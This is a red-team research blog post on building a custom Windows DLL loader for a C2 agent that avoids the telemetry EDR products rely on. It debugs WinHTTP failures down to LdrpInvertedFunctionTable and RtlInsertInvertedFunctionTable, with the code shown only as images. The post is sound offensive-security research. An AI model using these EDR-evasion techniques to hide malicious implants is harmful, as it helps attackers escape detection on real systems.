<p>This <span style="color: #451dc7;"><em>API</em> </span>allows a program to load a specific <span style="color: #451dc7;"><em>DLL</em></span> from the disk. However, the drawback is that <em><span style="color: #451dc7;">LoadLibrary</span> </em>raises several events and telemetry an <span style="color: #451dc7;"><em>EDR</em> </span>can analyze to detect the malicious <span style="color: #451dc7;"><em>C2</em> </span>agent.</p>
<p>In order to avoid this kind of event, I chose to implement a custom <span style="color: #451dc7;"><em>LoadLibrary</em> </span>that will not raise such events.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;"><span style="color: #451dc7;">State of the art &#8211; LoadLibrary</span></h2>
<p>I will not go too much deeper in the implementation details, as this has already been documented several times in <em>blogposts</em><a href="#_ftn1" name="_ftnref1">[1]</a> or <em>books</em> (<em><span style="color: #451dc7;">Windows Internals Part 1</span></em>).</p>
<p>The goal here is to create a function that takes as an input a <span style="color: #451dc7;"><em>DLL</em> </span>path and loads the <em><span style="color: #451dc7;">DLL</span> </em>in memory. Doing it manually has a lot of advantages:</p>
<ul>
<li>Limits <span style="color: #451dc7;"><em>ETW</em> </span>and <span style="color: #451dc7;"><em>Microsoft</em> </span>telemetry</li>
<li>More choices in the way sections are allocated and written.</li>
<li>Possibility to hide malicious loaded <em><span style="color: #451dc7;">DLL</span> </em>when not used.</li>
</ul>
<p>However, there are a lot of edge cases that could make the custom loader unreliable as it was mentioned in the <span style="color: #451dc7;"><em>SpecterOps</em> </span>blogpost <em>PerfectLoader<span style="color: #250f6b;"><a href="#_ftn2" name="_ftnref2">[2]</a></span></em>:</p>
<p><code>The quality of these reimplementations may be judged by comparing the feature set of these custom loaders against what the OS’s native loader supports. As such, the native OS loader may be considered a “perfect loader,” but it should not be considered the only perfect loader.</code><br /><br /></p>
<h3 style="text-align: justify;"><span style="color: #451dc7;">Basic implementation</span></h3>
<p style="text-align: justify;">The basic implementation consists in just copying the <em><span style="color: #451dc7;">DLL</span> </em>image in memory, performing relocation, importing imported modules and resolving the <em><span style="color: #451dc7;">IAT</span> </em>entries.<br />The different steps can be found in the <em><span style="color: #451dc7;">Windows Internal Part 1</span></em> book (<em><span style="color: #451dc7;">page 178</span></em>) and a more described implementation can be found here<a href="#_ftn3" name="_ftnref3">[3]</a>.<br />This is the most common way to load a <em><span style="color: #451dc7;">DLL</span></em>. Once the <em><span style="color: #451dc7;">DLL</span> </em>is loaded as-is in memory, it can be used for basic usages. However, any use of standard <em><span style="color: #451dc7;">Win32API</span></em> against this <em><span style="color: #451dc7;">DLL</span> </em>such as <em><span style="color: #451dc7;">GetModuleHandle</span> </em>or <span style="color: #451dc7;"><em>GetProcAddress</em> </span>will fail.<br />This implementation does not implement any additional feature provided by the <em><span style="color: #451dc7;">Windows DLL</span></em> loader: it just performs a textbook <em><span style="color: #451dc7;">DLL</span> </em>loading.</p>
<p> </p>
<h3 style="text-align: justify;"><span style="color: #451dc7;">Fixing compatibility with Microsoft WIN32API</span></h3>
<p>The previous implementation has the merit of working and it helped me out more times I can count. However, it is not reliable; the most important edge case being the <em><span style="color: #451dc7;">DLL</span> </em>cannot be searched using <span style="color: #451dc7;"><em>GetModuleHandle</em> </span>or <span style="color: #451dc7;"><em>LoadLibrary</em></span>.</p>
<p>Therefore, if the others <span style="color: #451dc7;"><em>DLL</em> </span>need access to the loaded <span style="color: #451dc7;"><em>DLL</em></span>, they will not find it with the standard <span style="color: #451dc7;"><em>Win32API</em> </span>and will load it again using <span style="color: #451dc7;"><em>LoadLibrary</em> </span>leading to a nice <span style="color: #451dc7;"><em>ETW</em> </span>event: all we wanted to avoid in the first place.</p>
<p><em>Batsec</em><span style="color: #250f6b;"><a href="#_ftn4" name="_ftnref4">[4]</a></span> wrote an <em>article</em><a href="#_ftn5" name="_ftnref5">[5]</a> on how the <span style="color: #451dc7;"><em>DLL</em></span> can be loaded in memory and still be compatible with the <span style="color: #451dc7;"><em>Microsoft</em> <em>Win32 API</em></span> (at least <span style="color: #451dc7;"><em>GetProcAddress</em></span>, <span style="color: #451dc7;"><em>LoadLibrary</em> </span>and <span style="color: #451dc7;"><em>GetModuleHandle</em></span>) without raising a bunch of events.</p>
<p>His research shows that when a <span style="color: #451dc7;"><em>DLL</em> </span>is loaded by the standard <span style="color: #451dc7;"><em>Windows DLL</em></span> loader, it does not just load the image in memory and the loader will perform at least two additional actions:</p>
<ul>
<li>Add the <span style="color: #451dc7;"><em>DLL</em> </span>in the <span style="color: #451dc7;"><em>PEB</em> </span>linked list that contains all the <span style="color: #451dc7;"><em>DLL</em> </span>loaded by a process.</li>
<li>Create a hash identifying the <span style="color: #451dc7;"><em>DLL</em> </span>and adding it to another structure called <em><span style="color: #451dc7;">LdrpHashTable</span></em></li>
</ul>
<p>During the loading process, the <span style="color: #451dc7;"><em>DLL</em> </span>loader, calls the <span style="color: #451dc7;"><em>LdrpInsertDataTableEntry</em> </span>function. This function creates a hash identifying the <span style="color: #451dc7;"><em>DLL</em> </span>and adds it to the <span style="color: #451dc7;"><em>LdrpHashTable</em> </span>structure as shown in the following figure:</p>
<p style="text-align: center;"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-24350" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/01-Use-of-LdrpHashTable.png" alt="" width="471" height="292" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/01-Use-of-LdrpHashTable.png 471w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/01-Use-of-LdrpHashTable-308x191.png 308w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/01-Use-of-LdrpHashTable-63x39.png 63w" sizes="auto, (max-width: 471px) 100vw, 471px" /></p>
<p style="text-align: center;"><em>Figure 1: use of LdrpHashTable during DLL loading</em></p>
<p>This mechanism has been implemented by <span style="color: #451dc7;"><em>Microsoft</em> </span>to ease and speedup <span style="color: #451dc7;"><em>DLL</em> </span>search through a read and black binary tree. This structure allows the search of a <span style="color: #451dc7;"><em>DLL</em> </span>in <span style="color: #451dc7;"><em>O(log(n))</em></span> instead of <span style="color: #451dc7;"><em>O(n)</em></span> with the previous linked list. This mechanism will not be explained here but can be seen in the <span style="color: #451dc7;"><em>DarkLoadLibrary</em> </span>project in the <span style="color: #451dc7;"><em>FindModuleBaseAddressIndex</em> </span>function.</p>
<p>Adding the <span style="color: #451dc7;"><em>DLL</em> </span>in the <span style="color: #451dc7;"><em>PEB</em> </span>linked list <strong>AND</strong> in the <span style="color: #451dc7;"><em>LdrpHashTable</em> </span>can be seen as fully registering the <span style="color: #451dc7;"><em>DLL</em> </span>and makes it known to the process.</p>
<p>Once this link has been established, the <span style="color: #451dc7;"><em>DLL</em> </span>can be searched, freed, or copied through the <span style="color: #451dc7;"><em>Win32API</em></span>.</p>
<p> </p>
<h3 style="text-align: justify;"><span style="color: #451dc7;">Problems with this implementation</span></h3>
<p>When I saw this implementation, I thought that all my problems were solved and started reimplementing it on my side to understand and customize the process.</p>
<p>For a moment it worked well. All the <em><span style="color: #451dc7;">DLL</span> </em>I loaded with worked out of the box and no specific event regarding the loading of an additional <em><span style="color: #451dc7;">DLL</span> </em>were raised by the agent.</p>
<p>The troubles begin when I tried to dynamically load a specific <em><span style="color: #451dc7;">DLL</span></em>: <span style="color: #451dc7;"><em>WinHTTP.dll.</em></span></p>
<p>The <span style="color: #451dc7;"><em>DLL</em> </span>is successfully loaded, and the majority of functions worked well, but one function did not want to work: <span style="color: #451dc7;"><em>WinHTTPOpen</em></span>.</p>
<p>This function is used to initialize the environment and prepare the structures that will be used by the other network <span style="color: #451dc7;"><em>API</em> </span>used to perform an <span style="color: #451dc7;"><em>HTTP</em> </span>connection. So, without this function, it was not possible to perform any <span style="color: #451dc7;"><em>HTTP</em> </span>communication through the <span style="color: #451dc7;"><em>WinHTTP API</em></span>.</p>
<p>When I called the <span style="color: #451dc7;"><em>WinHTTPOpen</em></span> function, the call failed with the error code <span style="color: #451dc7;"><em>126</em></span>. This error code is related to a missing <span style="color: #451dc7;"><em>DLL</em> </span>which does not make any sense as all the <span style="color: #451dc7;"><em>DLL</em> </span>were successfully loaded.</p>
<p> </p>
<h2 style="text-align: justify;"><span style="color: #451dc7;">Dive into WinHTTP.DLL madness</span></h2>
<h3 style="text-align: justify;"><span style="color: #451dc7;">Macroscopic investigation</span></h3>
<p>The error code hinted a problem with a <span style="color: #451dc7;"><em>DLL</em> </span>that has not been loaded, so my first reflex was to monitor the process using <span style="color: #451dc7;"><em>Procmon</em></span>, looking for an imported <span style="color: #451dc7;"><em>DLL</em> </span>that could have failed to be loaded.</p>
<p>However, even when comparing the <em><span style="color: #451dc7;">DLL</span> </em>loaded with the standard <span style="color: #451dc7;"><em>LoadLibrary</em> </span>and the ones loaded through the custom loader, no differences could explain the error code <span style="color: #451dc7;"><em>126</em></span>.</p>
<p> </p>
<h3 style="text-align: justify;"><span style="color: #451dc7;">Microscopic investigation</span></h3>
<p>For a moment I let this problem aside and continue the development of the agent, but it still bothered me, and I had no idea how I could debug it. Until one day, I took my sanity away, and decided to just decompile the <em><span style="color: #451dc7;">WinHTTP.DLL</span></em> and debug it step by step until I saw the error code <em><span style="color: #451dc7;">126</span> </em>popping in one of the registers.</p>
<p> </p>
<h4 style="text-align: justify;"><span style="color: #451dc7;">Finding the initial problem</span></h4>
<p>With the step by step debug, I quickly found that the problem occurred in the <em><span style="color: #451dc7;">INTERNET_SESSION_HANDLE_OBJECT::SetProxySettings</span></em> function in the <em><span style="color: #451dc7;">WINHTTP.DLL</span></em> file.</p>
<p>Following the call stack leads me to the following functions:</p>
<ul>
<li><em><span style="color: #451dc7;">INTERNET_HANDLE_BASE::SetProxySettingsWithInterfaceIndex</span></em></li>
<li><em><span style="color: #451dc7;">WxReferenceDll</span></em></li>
<li><em><span style="color: #451dc7;">TakeSingleDllRef</span></em></li>
</ul>
<p>In the <span style="color: #451dc7;"><em>TakeSingleDllRef</em> </span>I found the following piece of code:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-24352" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/02-Code-TakeSingleDllRef.png" alt="" width="433" height="233" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/02-Code-TakeSingleDllRef.png 433w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/02-Code-TakeSingleDllRef-355x191.png 355w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/02-Code-TakeSingleDllRef-71x39.png 71w" sizes="auto, (max-width: 433px) 100vw, 433px" /></p>
<p style="text-align: center;"><em>Figure 2: TakeSingleDllRef code</em></p>
<p>The <span style="color: #451dc7;"><em>126</em> </span>error code I got when running the <span style="color: #451dc7;"><em>WinHTTPOpen</em> </span>function is generated by the <span style="color: #451dc7;"><em>GetModuleHandleExA</em> </span>function.</p>
<p>This function is usually used to retrieve the base address of an already loaded <span style="color: #451dc7;"><em>DLL</em> </span>by its <span style="color: #451dc7;"><em>DLL</em> </span>name. However, here, two unusual parameters are given to this API:</p>
<ul>
<li><span style="color: #451dc7;"><em>dwFlags</em></span>: <span style="color: #451dc7;"><em>4</em> </span>instead of <span style="color: #451dc7;"><em>2</em></span></li>
<li><span style="color: #451dc7;"><em>dllName</em></span>: the address of the current function instead of the name of the <span style="color: #451dc7;"><em>DLL</em> </span>to search for.</li>
</ul>
<p>Looking at the <span style="color: #451dc7;"><em>Microsoft</em> </span>documentation shows that <em><span style="color: #451dc7;">dwFlags 4</span></em> is named <span style="color: #451dc7;"><em>GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS</em> </span>and thus explains why an address is given instead of a <span style="color: #451dc7;"><em>DLL</em> </span>name.</p>
<p>Indeed, when this flag is passed to the <span style="color: #451dc7;"><em>GetModuleHandleExA</em></span>, the function will not search for the <span style="color: #451dc7;"><em>DLL</em> </span>base address by its name but will find the <span style="color: #451dc7;"><em>DLL</em> </span>that contains the given function.</p>
<p> </p>
<h4 style="text-align: justify;"><span style="color: #451dc7;">Narrow down the problem</span></h4>
<p>The problem comes from the <span style="color: #451dc7;"><em>GetModuleHandleExA</em> </span>function. This is interesting because during my tests the custom loader worked fine with <span style="color: #451dc7;"><em>GetModuleHandle</em> </span>(that call <span style="color: #451dc7;"><em>GetModuleHandleEx</em> </span>under the hood with <em><span style="color: #451dc7;">dwFlags 2</span></em> instead of <span style="color: #451dc7;"><em>4</em></span>).</p>
<p>So, I decompiled the <span style="color: #451dc7;"><em>KERNELBASE.DLL</em></span> to find the difference of implementation when <span style="color: #451dc7;"><em>dwFlags 4</em></span> is passed to <span style="color: #451dc7;"><em>GetModuleHandleEx</em></span>.</p>
<p>The callstack shows that <span style="color: #451dc7;"><em>GetModuleHandleEx</em> </span>called the <span style="color: #451dc7;"><em>BasepGetModuleHandleExW</em> </span>function.</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-24354" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/03-BasepGetModuleHandleExW.png" alt="" width="354" height="257" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/03-BasepGetModuleHandleExW.png 354w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/03-BasepGetModuleHandleExW-263x191.png 263w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/03-BasepGetModuleHandleExW-54x39.png 54w" sizes="auto, (max-width: 354px) 100vw, 354px" /></p>
<p style="text-align: center;"><em>Figure 3: BasepGetModuleHandleExW code</em></p>
<p>The first part of the <span style="color: #451dc7;"><em>BasepGetModuleHandleExW</em> </span>function explains the difference of behavior between <span style="color: #451dc7;"><em>GetModuleHandle</em> </span>and <span style="color: #451dc7;"><em>GetModuleHandleEx</em> </span>with <span style="color: #451dc7;"><em>dwFlags</em></span> set to <span style="color: #451dc7;"><em>4</em></span>.</p>
<p>When the <span style="color: #451dc7;"><em>dwFlags</em></span> is set to <span style="color: #451dc7;"><em>4</em></span>, the function uses the <span style="color: #451dc7;"><em>RtlPcToFileHeader</em> </span>to find the base address of the module related to the function passed as parameters.</p>
<p>A step-by-step debug shows that this function returns the right value for a <span style="color: #451dc7;"><em>DLL</em> </span>loaded with <span style="color: #451dc7;"><em>LoadLibrary</em> </span>but always return <span style="color: #451dc7;"><em>0</em> </span>for a <span style="color: #451dc7;"><em>DLL</em> </span>loaded with the custom <span style="color: #451dc7;"><em>DLL Loader</em></span>.</p>
<p> </p>
<h4 style="text-align: justify;"><span style="color: #451dc7;">Analysis of RtlPcToFileHeader</span></h4>
<p>If I had to implement a function that, given a specific address, returns the base address of the image containing the function, I would naturally use the <span style="color: #451dc7;"><em>Win32Api VirtualQuery</em></span>. So, I did not see why this function could fail.</p>
<p>The <span style="color: #451dc7;"><em>RtlPcToFileHeader</em> </span>indeed use <span style="color: #451dc7;"><em>VirtualQuery</em> </span>to get the base address:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-24356" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/04-VirtualQuery-in-RtlPcToFileHeader.png" alt="" width="469" height="204" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/04-VirtualQuery-in-RtlPcToFileHeader.png 469w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/04-VirtualQuery-in-RtlPcToFileHeader-437x191.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/04-VirtualQuery-in-RtlPcToFileHeader-71x31.png 71w" sizes="auto, (max-width: 469px) 100vw, 469px" /></p>
<p style="text-align: center;"><em>Figure 4: use of VirtualQuery inRtlPcToFileHeader</em></p>
<p style="text-align: justify;">However, before getting in this execution branch it performs some additional tests :</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-24358" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/05-Tests-in-RtlPcToFileHeader.png" alt="" width="517" height="299" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/05-Tests-in-RtlPcToFileHeader.png 517w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/05-Tests-in-RtlPcToFileHeader-330x191.png 330w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/05-Tests-in-RtlPcToFileHeader-67x39.png 67w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/05-Tests-in-RtlPcToFileHeader-120x70.png 120w" sizes="auto, (max-width: 517px) 100vw, 517px" /></p>
<p style="text-align: center;"><em>Figure 5: Tests performed in RtlPcToFileHeader</em></p>
<p>If the execution flow goes into the <em><span style="color: #451dc7;">if(!v10)</span></em>, the function will return <span style="color: #451dc7;"><em>0</em></span>, otherwise, it has a chance to go through the <span style="color: #451dc7;"><em>VirtualQuery</em> </span>and returns the right base address.</p>
<p>When this function is used on a <span style="color: #451dc7;"><em>DLL</em> </span>loaded by the custom loader, it always falls in the wrong code path returning <span style="color: #451dc7;"><em>0</em></span>.</p>
<p> </p>
<h4 style="text-align: justify;"><span style="color: #451dc7;">LdrpInvertedFunctionTable</span></h4>
<p>The test performed by the <span style="color: #451dc7;"><em>RtlPcToFileHeader</em> </span>function is based on an analysis of the <span style="color: #451dc7;"><em>LdrpInvertedFunctionTable</em></span>.</p>
<p>This table that can be parsed using the two following structures,</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-24360" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/06-Parse-inverted-table.png" alt="" width="509" height="265" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/06-Parse-inverted-table.png 509w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/06-Parse-inverted-table-367x191.png 367w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/06-Parse-inverted-table-71x37.png 71w" sizes="auto, (max-width: 509px) 100vw, 509px" /></p>
<p style="text-align: center;"><em>Figure 6: Structure used to parse the inverted table</em></p>
<p>seems to be used to handle <span style="color: #451dc7;"><em>SEH</em> </span>exceptions.</p>
<p>So, it seems that the custom loader fails to register these exceptions. Indeed, using <span style="color: #451dc7;"><em>WinDBG</em> </span>with the <em><span style="color: #451dc7;">DLL</span> </em>loaded through <span style="color: #451dc7;"><em>LoadLibrary</em></span>, it is possible to see that an entry corresponding to the<em><span style="color: #451dc7;"> WINHTTP.DLL</span> </em>file has been registered:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-24362" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/07-WinDBG-analysis.png" alt="" width="599" height="108" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/07-WinDBG-analysis.png 599w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/07-WinDBG-analysis-437x79.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/07-WinDBG-analysis-71x13.png 71w" sizes="auto, (max-width: 599px) 100vw, 599px" /></p>
<p style="text-align: center;"><em>Figure 7: Analysis of the inverted table with WinDBG</em></p>
<p>The same test with the custom loaded <span style="color: #451dc7;"><em>DLL</em> </span>shows that no new entry were added to the <span style="color: #451dc7;"><em>LdrpInvertedFunctionTable</em></span>.</p>
<p> </p>
<h2 style="text-align: justify;"><span style="color: #451dc7;">Solutions</span></h2>
<h3 style="text-align: justify;"><span style="color: #451dc7;">The messy one</span></h3>
<p>The root cause of the problem is that when loading the <span style="color: #451dc7;"><em>DLL</em></span>, no additional entries are added to the <span style="color: #451dc7;"><em>LdrpInvertedFunctionTable</em> </span>leading to a hard failure on the <span style="color: #451dc7;"><em>RtlPcToFileHeader</em> </span>function.</p>
<p>However, the main cause of the problem is that <span style="color: #451dc7;"><em>GetModuleHandleEx</em> </span>uses <span style="color: #451dc7;"><em>RtlPcToFileHeader</em></span>.</p>
<p>While adding a new entry to the <span style="color: #451dc7;"><em>LdrpInvertedFunctionTable</em> </span>can be a hard problem, hijacking the <span style="color: #451dc7;"><em>GetModuleHandleEx</em> </span>function when loading the <span style="color: #451dc7;"><em>DLL</em> </span>is an easy one.</p>
<p>Indeed, during the <span style="color: #451dc7;"><em>DLL</em> </span>loading process, we have to manually resolve the exported function address, so it is possible to hijack the entry related to <span style="color: #451dc7;"><em>GetModuleHandleExA</em></span>.</p>
<p>The following code can be used instead of <span style="color: #451dc7;"><em>GetModuleHandleExA</em></span>:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-24364" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/08-Custom-GetModuleHandleExA.png" alt="" width="605" height="358" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/08-Custom-GetModuleHandleExA.png 605w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/08-Custom-GetModuleHandleExA-323x191.png 323w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/08-Custom-GetModuleHandleExA-66x39.png 66w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/08-Custom-GetModuleHandleExA-120x70.png 120w" sizes="auto, (max-width: 605px) 100vw, 605px" /></p>
<p style="text-align: center;"><em>Figure 8: custom GetModuleHandleExA code</em></p>
<p>This code iterates over the <span style="color: #451dc7;"><em>DLL</em> </span>registered in the <span style="color: #451dc7;"><em>PEB</em> </span>linked list, check if the given function is located in the <span style="color: #451dc7;"><em>DLL</em> </span>and returns the base address of the related <span style="color: #451dc7;"><em>DLL</em></span>.</p>
<p>This solution worked for the <span style="color: #451dc7;"><em>WinHTTP.DLL</em></span> but what about other use cases or other functions based on <span style="color: #451dc7;"><em>RtlPcToFileHeader</em></span>? We would have to remap them explicitly every time which is not the best way to operate.</p>
<p> </p>
<h3 style="text-align: justify;"><span style="color: #451dc7;">The elegant one</span></h3>
<p>When two things have to work well together, we have to comply with the rules of the part we are integrating to. In this case, the custom loader should implement the feature that adds the different entries in the <span style="color: #451dc7;"><em>LdrpInvertedFunctionTable</em></span>.</p>
<p> </p>
<h4 style="text-align: justify;"><span style="color: #451dc7;">Locate the use of RtlInsertInvertedFunctionTable</span></h4>
<p>The function <span style="color: #451dc7;"><em>RtlInsertInvertedFunctionTable</em> </span>can be used to add an entry in the <span style="color: #451dc7;"><em>LdrpInvertedFunctionTable</em></span>. So, if this is performed by the <span style="color: #451dc7;"><em>Windows DLL</em></span> loader, it should be possible to find a reference of this function in the <span style="color: #451dc7;"><em>LoadLibrary</em></span> callstack.</p>
<p>Indeed, the call to the <span style="color: #451dc7;"><em>RtlInsertInvertedFunctionTable</em> </span>is found in the <span style="color: #451dc7;"><em>LdrpProcessMappedModule</em> </span>function:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-24366" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/09-RtlInsertInvertedFunctionTable.png" alt="" width="609" height="127" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/09-RtlInsertInvertedFunctionTable.png 609w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/09-RtlInsertInvertedFunctionTable-437x91.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/09-RtlInsertInvertedFunctionTable-71x15.png 71w" sizes="auto, (max-width: 609px) 100vw, 609px" /></p>
<p style="text-align: center;"><em>Figure 9: use of RtlInsertInvertedFunctionTable during DLL loading</em></p>
<p style="text-align: justify;">This function is called with a security cookie generated using the <span style="color: #451dc7;"><em>LdrInitSecurityCookie</em> </span>function:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-24368" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/10-LdrInitSecurityCookie.png" alt="" width="442" height="124" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/10-LdrInitSecurityCookie.png 442w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/10-LdrInitSecurityCookie-437x123.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/10-LdrInitSecurityCookie-71x20.png 71w" sizes="auto, (max-width: 442px) 100vw, 442px" /></p>
<p style="text-align: center;"><em>Figure 10: Use of LdrInitSecurityCookie</em></p>
<p>While the <span style="color: #451dc7;"><em>LdrInitSecurityCookie</em> </span>is an exported function, the <em><span style="color: #451dc7;">RtlInsertInvertedFunctionTable</span> </em>is not. So, if we want to use this function, there are two choices:</p>
<ul>
<li>Using a pattern recognition algorithm to find the function in the NTDLL knowing that the pattern can change between each Windows build version (this technique has been implemented <em>here</em><a href="#_ftn6" name="_ftnref6">[6]</a>)</li>
<li>Redeveloping the function</li>
</ul>
<p>I’m not a fan of pattern recognition because it is an unreliable technique that must be maintained over each Windows build version.</p>
<p style="text-align: justify;"> </p>
<h4 style="text-align: justify;"><span style="color: #451dc7;">Analysis of the RtlInsertInvertedFunctionTable function</span></h4>
<p style="text-align: justify;">Decompiling the <em><span style="color: #451dc7;">RtlInsertInvertedFunctionTable</span> </em>shows the following code :</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-24370" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/11-RtlInsertInvertedFunctionTable.png" alt="" width="471" height="204" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/11-RtlInsertInvertedFunctionTable.png 471w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/11-RtlInsertInvertedFunctionTable-437x189.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/11-RtlInsertInvertedFunctionTable-71x31.png 71w" sizes="auto, (max-width: 471px) 100vw, 471px" /></p>
<p style="text-align: center;"><em>Figure 11: RtlInsertInvertedFunctionTable function</em></p>
<p>Among these functions, the only ones exported are the <span style="color: #451dc7;"><em>RtlAcquireSRWLockExclusive</em> </span>and <span style="color: #451dc7;"><em>RtlReleaseSrwLockExclusive</em></span>. However, the other ones are quite simple to implement:</p>
<ul>
<li><span style="color: #451dc7;"><em>RtlCaptureImageExceptionValues</em> </span>retrieves the image <span style="color: #451dc7;"><em>ExportDirectory</em></span></li>
<li><span style="color: #451dc7;"><em>LdrProtectMrData</em> </span>performs a <span style="color: #451dc7;"><em>VirtualProtect</em></span> on the <span style="color: #451dc7;"><em>.mrdata</em></span> section</li>
<li><span style="color: #451dc7;"><em>RtlpInsertInvertedFunctionTableEntry</em> </span>populates the <span style="color: #451dc7;"><em>RTL_INVERTED_FUNCTION_TABLE_ENTRY</em></span> and adds the new element to the <span style="color: #451dc7;"><em>RTL_INVERTED_FUNCTION_TABLE LdrpInvertedFunctionTable</em></span>.</li>
</ul>
<p>The only problem now is there is not any exported function that allows the retrieval of the <span style="color: #451dc7;"><em>LdrpInvertedFunctionTable</em> </span>object.</p>
<p> </p>
<h4 style="text-align: justify;"><span style="color: #451dc7;">Locate the RtlInsertInvertedFunctionTable</span></h4>
<p>So, against all my principle, some pattern recognition algorithms need to be coded in order to locate the <span style="color: #451dc7;"><em>LdrpInvertedFunctionTable</em> </span>structure. However, finding this structure will be easier and more reliable than finding some instructions sequences in the whole <span style="color: #451dc7;"><em>NTDLL .text</em></span> section.</p>
<p>Indeed, there are some inputs that can be used to narrow down the lookup and avoid false positive:</p>
<ul>
<li>The structure is located in the <span style="color: #451dc7;"><em>.mrdata</em></span></li>
<li>The <span style="color: #451dc7;"><em>MaxCount</em> </span>field must be less than <span style="color: #451dc7;"><em>512</em></span></li>
<li>The <span style="color: #451dc7;"><em>Count</em> </span>field must be less than max count and more than <span style="color: #451dc7;"><em>0</em></span></li>
</ul>
<p><code>The <span style="color: #451dc7;"><em>LdrpInvertedFunctionTable</em> </span>is located in the <span style="color: #451dc7;"><em>NTDLL .mrdata</em></span>. This section is a specific section that is configured with <span style="color: #451dc7;"><em>ReadOnly</em> </span>protection as the <span style="color: #451dc7;"><em>.rdata</em></span>. However, this section protection is often changed from <span style="color: #451dc7;"><em>ReadOnly</em> </span>to <span style="color: #451dc7;"><em>ReadWrite</em></span>.</code></p>
<p><code>This section is used to store sensitive structure that can be modified by the <span style="color: #451dc7;"><em>OS</em> </span>under specific circumstances (enhance the <span style="color: #451dc7;"><em>ReadWrite</em> </span>protection) but must be protected against programmatic error that could write arbitrary data in it (enhance the <span style="color: #451dc7;"><em>ReadOnly</em> </span>protection at runtime).</code></p>
<p>Then, some conditions on the different entries can be verified to ensure that the address tested represents the <span style="color: #451dc7;"><em>LdrpInvertedFunctionTable</em> </span>and is not a false positive. For each entry:</p>
<ul>
<li>The exception directory address must be contained in the <span style="color: #451dc7;"><em>DLL</em> </span>image</li>
<li>The exception directory address must match with the one computed from the <span style="color: #451dc7;"><em>DLL</em> </span>base image</li>
<li>The exception directory size must match with the one computed from the <span style="color: #451dc7;"><em>DLL</em> </span>base image</li>
</ul>
<p>These conditions do not ensure the unicity of the solution, but I don’t think random garbage in memory could verify all these conditions, especially the last three.</p>
<p style="text-align: justify;">The following function can be used to locate the <span style="color: #451dc7;"><em>LdrpInvertedFunctionTable</em></span>:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-24372" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/12-LdrpInvertedFunctionTable-Search.png" alt="" width="605" height="700" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/12-LdrpInvertedFunctionTable-Search.png 605w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/12-LdrpInvertedFunctionTable-Search-165x191.png 165w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/12-LdrpInvertedFunctionTable-Search-34x39.png 34w" sizes="auto, (max-width: 605px) 100vw, 605px" /></p>
<p style="text-align: center;"><em>Figure 12: Code looking for LdrpInvertedFunctionTable</em></p>
<p style="text-align: justify;">We now have everything we need to implement the <em><span style="color: #451dc7;">RtlInsertInvertedFunctionTable</span></em>.</p>
<p> </p>
